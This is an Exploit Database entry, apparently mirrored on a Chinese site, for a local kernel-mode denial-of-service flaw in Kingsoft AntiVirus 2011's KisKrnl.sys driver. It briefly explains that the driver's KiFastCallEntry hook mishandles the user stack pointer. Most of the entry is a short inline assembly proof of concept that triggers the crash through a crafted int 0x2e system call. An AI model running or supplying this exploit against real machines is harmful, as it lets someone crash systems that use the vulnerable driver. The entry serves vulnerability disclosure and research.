Kingsoft AntiVirus 2011 SP5.2 ‘KisKrnl.sys’ 2011.1.13.89 – Local Kernel Mode Denial of Service

• Exploit Database
• 112 阅读

• 作者： MJ0011
  日期： 2011-01-16
• 类别：

  • dos
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/15998/
• 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19

  # Kingsoft AntiVirus 2011 SP5.2 KisKrnl.sys <= 2011.1.13.89 Local Kernel Mode D.O.S Exploit # Date: 2011-1-16 # Author: MJ0011 # Software Link: http://cd001.www.duba.net/duba/install/2011/once/KAV110114_DOWN_9_13.exe # Version: KingSoft AntiVirus 2011 SP5.2 with KisKrnl.sys <=2011.1.13.89 # Tested on: Windows XP SP3   DETAILS: KisKrnl.sys hook the kernel function KiFastCallEntry , but is not correctly handle user stack pointer   EXPLOIT CODE:   __asm { mov edx , 0x80000000 mov eax , 0x101;id of NtTerminateProcess under Windows XP int 0x2e }